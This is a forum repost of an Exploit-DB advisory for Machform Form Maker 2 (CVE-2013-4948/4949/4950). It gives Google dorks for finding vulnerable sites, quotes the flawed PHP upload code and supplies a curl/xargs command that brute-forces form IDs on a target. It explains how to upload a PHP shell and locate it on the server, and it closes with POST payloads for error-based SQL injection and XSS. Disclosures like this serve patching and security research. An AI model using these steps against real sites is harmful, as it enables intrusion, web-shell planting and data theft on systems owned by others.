Exploit Machform Form Maker 2 - Multiple Vulnerabilities

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
26553
Проверка EDB
  1. Пройдено
Автор
YASHAR SHAHINZADEH
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2013-4950 cve-2013-4949 cve-2013-4948
Дата публикации
2013-07-02
Код:
###########################################################################################
# Exploit Title: Machform form maker - Multiple Vulnerabilities
# Date: 2013 17 June
# Exploit Author: Yashar shahinzadeh
# Credit goes for: ha.cker.ir
# Vendor Homepage: http://www.appnitro.com
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version : 2
# Special thanks to: Mormoroth
# Dork1: "Powered by MachForm" id=
# Dork2: formularios/view.php?id=
# Dork3: inurl:machform/view.php?id=
#
# Demonstration clip: http://y-shahinzadeh.ir/tutorial/machform.rar
# Contacts: { http://Twitter.com/YShahinzadeh , http://Twitter.com/Mormoroth }
###########################################################################################

Summary:
========
1. Arbitrary file upload
2. MySQL Injection (Error based) and XSS
 

1. Arbitrary file upload:
=========================

...
...
if(!empty($uploaded_files)){
	foreach ($uploaded_files as $element_name){
		if(empty($form_review)){
			//move file and check for invalid file
			$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}";
			if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
				$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
				$query = "update ap_form_{$form_id} set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
				do_query($query);
			}
		}else{
			//for form with review enabled, append .tmp suffix to all uploaded files
			//move file and check for invalid file
			$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}.tmp";
			if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
				$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
				$query = "update ap_form_{$form_id}_review set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
				do_query($query);
			}
			
			if(!empty($uploaded_file_lookup[$element_name])){
				unset($uploaded_file_lookup[$element_name]);
			}
		}
	}
}
...
...

Exploit:

In beginning, the hacker must aim view.php located at the root of site, observing the lines inside of mentioned file would be a big lead to disclosure of vulnerability:

$input_array = ap_sanitize_input($_POST);
$submit_result = process_form($input_array);

These two lines have functions leading to have both MySQL injection and Arbitrary file upload vulnerability. I’m not going to audit codes, I may just illustrate the attack started by applying brute-force procedure on ID parameter so as to find a form consisting file upload form, it can be achieved by any program, I just issued a Linux command helped me find it properly:

seq 1 500 | xargs -I XX -P32 curl -s http://target/view.php=XX -o XX.out
grep “type=\”file\”" *.out

Afterwards, an HTML element followed by “for=”(.*)” must be specified, picture below gives better concept:

http://blog.y-shahinzadeh.ir/posts-images/machform/7.jpg

All have to be done is uploading PHP shell, and trying to find its name on server. The file will be uploaded in the path:

http://target.com/data/form_[ID]/[element name]-[mysql_insert_id()].php

In URL above, [ID] is gathered in brute-force phase, [element name] is gathered by viewing HTML source, and [mysql_insert_id()] should be brute-forced again. Being relatively difficult, I’ve recorded a clip demonstrating what I’ve said:

http://y-shahinzadeh.ir/tutorial/machform.rar

2. MySQL Injection (Error based) and XSS:
=========================================
...
...
$input_array   = ap_sanitize_input($_POST);
...
...


Exploit (POST to view.php after finding HTML elements): 

element_1=1&element_2=’&element_3=1&form_id=11&submit=1
element_1=1&element_2=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28949236%29%3c%2fScRiPt%3e&element_3=1&form_id=11&submit=Enviar
 
Источник
www.exploit-db.com

Похожие темы